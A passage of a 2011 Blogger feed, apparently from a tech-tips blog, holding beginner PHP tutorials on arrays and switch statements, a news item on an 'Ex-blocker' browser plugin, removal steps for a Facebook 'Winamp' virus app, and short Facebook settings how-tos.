script:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://2.bp.blogspot.com/--laFopIFf6o/TakKxEgimvI/AAAAAAAAASU/pcv-lMisftE/s1600/3.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 250px; height: 320px;" src="http://2.bp.blogspot.com/--laFopIFf6o/TakKxEgimvI/AAAAAAAAASU/pcv-lMisftE/s320/3.JPG" alt="" id="BLOGGER_PHOTO_ID_5596015850124647154" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;The code above will output:&lt;br /&gt;&lt;hr /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Peter is 32 years old.&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h2&gt;Multidimensional Arrays&lt;/h2&gt; &lt;p&gt;In a multidimensional array, each element in the main array can also be an array.  And each element in the sub-array can be an array, and so on.&lt;/p&gt; &lt;h3&gt;Example&lt;/h3&gt; &lt;p&gt;In this example we create a multidimensional array, with automatically  assigned ID keys:&lt;/p&gt;&lt;hr /&gt;&lt;p style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;$families = array&lt;br /&gt;(&lt;br /&gt;"Griffin"=&amp;gt;array&lt;br /&gt;(&lt;br /&gt;"Peter",&lt;br /&gt;"Lois",&lt;br /&gt;"Megan"&lt;br /&gt;),&lt;br /&gt;"Quagmire"=&amp;gt;array&lt;br /&gt;(&lt;br /&gt;"Glenn"&lt;br /&gt;),&lt;br /&gt;"Brown"=&amp;gt;array&lt;br /&gt;(&lt;br /&gt;"Cleveland",&lt;br /&gt;"Loretta",&lt;br /&gt;"Junior"&lt;br /&gt;)&lt;br /&gt;); &lt;/span&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;The array above would look like this if written to the output:&lt;/p&gt;&lt;hr /&gt;&lt;p style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;Array&lt;br /&gt;(&lt;br /&gt;[Griffin] =&amp;gt; Array&lt;br /&gt;(&lt;br /&gt;[0] =&amp;gt; Peter&lt;br /&gt;[1] =&amp;gt; Lois&lt;br /&gt;[2] =&amp;gt; Megan&lt;br /&gt;)&lt;br /&gt;[Quagmire] =&amp;gt; Array&lt;br /&gt;(&lt;br /&gt;[0] =&amp;gt; Glenn&lt;br /&gt;)&lt;br /&gt;[Brown] =&amp;gt; Array&lt;br /&gt;(&lt;br /&gt;[0] =&amp;gt; Cleveland&lt;br /&gt;[1] =&amp;gt; Loretta&lt;br /&gt;[2] =&amp;gt; Junior&lt;br /&gt;)&lt;br /&gt;) &lt;/span&gt;&lt;/p&gt;&lt;hr /&gt;&lt;h3&gt;Example 2&lt;/h3&gt; &lt;p&gt;Lets try displaying a single value from the array above:&lt;/p&gt;&lt;hr /&gt;&lt;p style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;echo "Is " . $families['Griffin'][2] .&lt;br /&gt;" a part of the Griffin family?"; &lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);font-size:130%;" &gt;&lt;hr /&gt;&lt;p&gt;The code above will output:&lt;/p&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Is Megan a part of the Griffin family?&lt;/span&gt;&lt;/span&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-6197195677679343546?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6197195677679343546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6197195677679343546'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/php-arrays.html' title='PHP Arrays'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-0R3vWrvllSQ/TakJ7PEO8WI/AAAAAAAAASM/F3JB9WN4Uk8/s72-c/2.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2030941936141005917</id><published>2011-04-15T04:31:00.000-07:00</published><updated>2011-04-15T20:09:50.930-07:00</updated><title type='text'>PHP Switch Statement</title><content type='html'>Conditional statements are used to perform different actions based on different conditions.&lt;br /&gt;&lt;h2&gt;The PHP Switch Statement&lt;/h2&gt; &lt;p&gt;Use the switch statement to select one of many blocks  of code to be executed.&lt;/p&gt; &lt;h3&gt;Syntax&lt;/h3&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;switch (&lt;i&gt;n&lt;/i&gt;)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;case &lt;i&gt;label1:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;code to be executed if n=label1;&lt;/i&gt;&lt;br /&gt;break;&lt;br /&gt;case &lt;i&gt;label2:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;code to be executed if n=label2;&lt;/i&gt;&lt;br /&gt;break;&lt;br /&gt;default:&lt;br /&gt;&lt;i&gt;code to be executed if n is different from both label1 and label2;&lt;/i&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;} &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;This is how it works: First we have a single expression &lt;i&gt;n&lt;/i&gt; (most often a variable), that is evaluated once. The value of the expression is then compared with the values for each case in the structure. If there is a match, the block of code associated with that case is executed. Use &lt;b&gt;break&lt;/b&gt; to prevent the code from running into the next case automatically. The default statement is used if no  match is found.&lt;/p&gt; &lt;h3&gt;Example&lt;/h3&gt;&lt;hr /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-gy_HSLiBVP0/TakIXDaDCiI/AAAAAAAAASE/jvcpNMHEGvo/s1600/1.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 237px; height: 320px;" src="http://3.bp.blogspot.com/-gy_HSLiBVP0/TakIXDaDCiI/AAAAAAAAASE/jvcpNMHEGvo/s320/1.JPG" alt="" id="BLOGGER_PHOTO_ID_5596013204129122850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2030941936141005917?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2030941936141005917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2030941936141005917'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/information-technology-solutions_15.html' title='PHP Switch Statement'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-gy_HSLiBVP0/TakIXDaDCiI/AAAAAAAAASE/jvcpNMHEGvo/s72-c/1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1144198802013235736</id><published>2011-04-15T04:29:00.000-07:00</published><updated>2011-04-15T04:31:05.647-07:00</updated><title type='text'>Ex-blocker, Removing the Ex from Your Mozilla and Google Chrome</title><content type='html'>&lt;div style="text-align: justify;"&gt;There is good news for you who do not  want to connect again with former girlfriend or boyfriend. By using an  application called 'Ex-blockers'.&lt;br /&gt;&lt;br /&gt;This application is claimed  could heal a broken heart by removing ex-girlfriend from Facebook and  other social networking sites, so that helps users to forget.&lt;br /&gt;&lt;br /&gt;"They  will not know you avoid them. Only you know," said president of  Interactive Agency JESS3, Leslie Bradshaw, who developed this free  browser plugin.&lt;br /&gt;&lt;br /&gt;Quoted from the Times of India, Tuesday  (07/20/2010), this application can be used by users of Firefox and  Chrome browsers. They can type username name and social networking as  much as five people and then install the former Ex-blockers. This will  make all the photographs or the term that refers to the former name of  the user will disappear instantly.&lt;br /&gt;&lt;br /&gt;Bradshaw claims, since the  present two weeks ago, there were more than 900 people who had broken  heart downloaded the plugin, from the site which is located at  blockyourex.com.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1144198802013235736?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1144198802013235736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1144198802013235736'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/ex-blocker-removing-ex-from-your.html' title='Ex-blocker, Removing the Ex from Your Mozilla and Google Chrome'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5677207223344863083</id><published>2011-04-15T04:27:00.000-07:00</published><updated>2011-04-15T04:29:04.723-07:00</updated><title type='text'>Avoiding Virus Attack from Facebook</title><content type='html'>&lt;p&gt;Virus 'Sexy Videos' is spreading through Facebook by Winamp as its  camouflage name. If you've already got, here are the steps to restore  the Facebook account.&lt;br /&gt;&lt;br /&gt;The virus that spreads by exploiting weaknesses on Facebook could threaten any user of any computer operating system.&lt;br /&gt;&lt;br /&gt;The  best way to protect yourself is not clicking the unknown link, even if  the link does not lead to an odd site. However, if your Facebook is  infected, here are the steps to get rid of it from your Facebook  account:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  1. Login to your Facebook account http://www.facebook.com&lt;br /&gt;   2. At the top right of the screen click [Accounts] and select  [Application Settings] you will get a screen to "Application Settings -  Recently Used"&lt;br /&gt;  3. Point your mouse on a cross [X] in application named "Winamp"&lt;br /&gt;  4. You will get a confirmation dialog box "Remove Winamp"&lt;br /&gt;   5. Click on the [Remove] and [Refresh] on your browser and make sure  the application "Winamp" is missing from the Application Settings.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5677207223344863083?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5677207223344863083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5677207223344863083'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/avoiding-virus-attack-from-facebook.html' title='Avoiding Virus Attack from Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1891454237152615059</id><published>2011-04-15T04:26:00.000-07:00</published><updated>2011-04-15T04:27:39.620-07:00</updated><title type='text'>Going to Appear Offline on Facebook</title><content type='html'>&lt;p&gt;On the right side of the screen where it says which friends are  online you should be able to click onto that, then it will have an  option, there for you to go offline.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1891454237152615059?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1891454237152615059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1891454237152615059'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/going-to-appear-offline-on-facebook.html' title='Going to Appear Offline on Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-7449073812694234179</id><published>2011-04-15T04:25:00.000-07:00</published><updated>2011-04-15T04:26:45.891-07:00</updated><title type='text'>Joining a Network on Facebook</title><content type='html'>&lt;p&gt;When you go onto your profile, edit your information. It'll say high  school. Type in your high school! It'll be under 'Education and Work'.  Insert a network you wish to join.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-7449073812694234179?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7449073812694234179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7449073812694234179'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/joining-network-on-facebook.html' title='Joining a Network on Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-135287596711040896</id><published>2011-04-15T04:24:00.000-07:00</published><updated>2011-04-15T04:25:25.613-07:00</updated><title type='text'>Deleting Many Friends on Facebook at a time</title><content type='html'>&lt;p&gt;Go to 'Account' and click 'Edit friends'&lt;br /&gt;&lt;br /&gt;On the left, under Lists, select 'Friends' Start going down the list and hit the X for each one you want to delete..&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-135287596711040896?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/135287596711040896'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/135287596711040896'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/deleting-many-friends-on-facebook-at.html' title='Deleting Many Friends on Facebook at a time'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1009006356484280661</id><published>2011-04-15T04:23:00.000-07:00</published><updated>2011-04-15T04:24:36.582-07:00</updated><title type='text'>Making Invisible of Facebook Search</title><content type='html'>&lt;div class="content"&gt;Firstly, go to 'Account' at the top, go to 'Privacy settings', look at 'Search' section, and choose "Only friends"&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1009006356484280661?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1009006356484280661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1009006356484280661'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/making-invisible-of-facebook-search.html' title='Making Invisible of Facebook Search'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-6897626741661411870</id><published>2011-04-15T04:22:00.000-07:00</published><updated>2011-04-15T04:23:35.617-07:00</updated><title type='text'>Erasing Friend on Facebook</title><content type='html'>&lt;p&gt;Go to friend's profile, on the left towards the bottom it will says remove friend. Click it and done.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-6897626741661411870?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6897626741661411870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6897626741661411870'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/erasing-friend-on-facebook.html' title='Erasing Friend on Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5095835901886333697</id><published>2011-04-15T04:21:00.000-07:00</published><updated>2011-04-15T04:22:31.058-07:00</updated><title type='text'>Unblock Friends Gifts of Facebook</title><content type='html'>&lt;p&gt;Check your privacy settings. And also check on the bottom of your  wall there's an edit options button, it will show you if you have  someone or an application blocked and you can change it there.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5095835901886333697?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5095835901886333697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5095835901886333697'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/unblock-friends-gifts-of-facebook.html' title='Unblock Friends Gifts of Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8655369011111222524</id><published>2011-04-15T04:20:00.000-07:00</published><updated>2011-04-15T04:21:27.821-07:00</updated><title type='text'>Forbidding Friend See Your Friend List on Facebook</title><content type='html'>&lt;p&gt;Since the privacy changes in December 2009, Facebook users cannot  hide their "list of friends" from people in it. Users that had their  list hidden were automatically forced to reveal it without their  consent.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8655369011111222524?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8655369011111222524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8655369011111222524'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/forbidding-friend-see-your-friend-list.html' title='Forbidding Friend See Your Friend List on Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1310513548189893153</id><published>2011-04-15T04:19:00.000-07:00</published><updated>2011-04-15T04:20:34.184-07:00</updated><title type='text'>Deleting Group on Facebook</title><content type='html'>&lt;p&gt;First you should remove all the members of the group, and then you  just leave it. If you leave the group without previously removing the  members, the admin status will be given to them and the group will not  be deleted automatically.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1310513548189893153?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1310513548189893153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1310513548189893153'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/deleting-group-on-facebook.html' title='Deleting Group on Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4731735989445601865</id><published>2011-04-15T04:18:00.000-07:00</published><updated>2011-04-15T04:19:38.294-07:00</updated><title type='text'>Unhide Someone from Your Facebook Newsfeed</title><content type='html'>&lt;p&gt;Scroll down to the bottom and click on 'Edit Options'. From there, you should be able to unhide yourself.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4731735989445601865?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4731735989445601865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4731735989445601865'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/unhide-someone-from-your-facebook.html' title='Unhide Someone from Your Facebook Newsfeed'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5368946892342399203</id><published>2011-04-15T04:17:00.000-07:00</published><updated>2011-04-15T04:18:26.275-07:00</updated><title type='text'>Removing a Tagged Photo on Facebook</title><content type='html'>&lt;p&gt;Go on the photo where yeur name is tagged. Under the photo, "remove  tag" should be written, click it and your name on its photo will be  gone.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5368946892342399203?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5368946892342399203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5368946892342399203'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/removing-tagged-photo-on-facebook.html' title='Removing a Tagged Photo on Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-7964357239275297280</id><published>2011-04-15T04:16:00.000-07:00</published><updated>2011-04-15T04:17:20.543-07:00</updated><title type='text'>Disabling Facebook for Awhile</title><content type='html'>&lt;p&gt;Go to 'Settings', then 'Account Settings' you will see an option to disable your account.&lt;br /&gt;&lt;br /&gt;Your data is not deleted and will be restored if you re-active your  account. Facebook does not delete your data, unless you manually do it.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-7964357239275297280?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7964357239275297280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7964357239275297280'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/disabling-facebook-for-awhile.html' title='Disabling Facebook for Awhile'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-354435235818356751</id><published>2011-04-15T04:15:00.000-07:00</published><updated>2011-04-15T04:16:23.257-07:00</updated><title type='text'>Deleting Photos in 'My Profile' that were Uploaded by Friends on Facebook</title><content type='html'>&lt;p&gt;Only owner can delete those photos, but you have authority to remove  tag atleast, you can remove it by clicking on the photo, the list of  tags will appear beneath that photo, just click on remove tag next to  your name.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-354435235818356751?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/354435235818356751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/354435235818356751'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/deleting-photos-in-my-profile-that-were.html' title='Deleting Photos in &apos;My Profile&apos; that were Uploaded by Friends on Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5565910639657656646</id><published>2011-04-15T04:14:00.000-07:00</published><updated>2011-04-15T04:15:10.611-07:00</updated><title type='text'>Contacting Facebook Administrator by E-mail</title><content type='html'>&lt;p&gt;Facebook does not have a contact email for problems etc. you'll need  to use the Help Center if you have a problem, the link can be found at  the bottom of every facebook page.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5565910639657656646?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5565910639657656646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5565910639657656646'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/contacting-facebook-administrator-by-e.html' title='Contacting Facebook Administrator by E-mail'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5692720009703131146</id><published>2011-04-15T04:13:00.000-07:00</published><updated>2011-04-15T04:14:03.870-07:00</updated><title type='text'>Blocking Someone from Getting Your Status Updates on Facebook</title><content type='html'>&lt;p&gt;Before you do that status update, click on the padlock button next to  "share", then go to customize, and type in her name under "hide from  these people."&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5692720009703131146?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5692720009703131146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5692720009703131146'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/blocking-someone-from-getting-your.html' title='Blocking Someone from Getting Your Status Updates on Facebook'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>
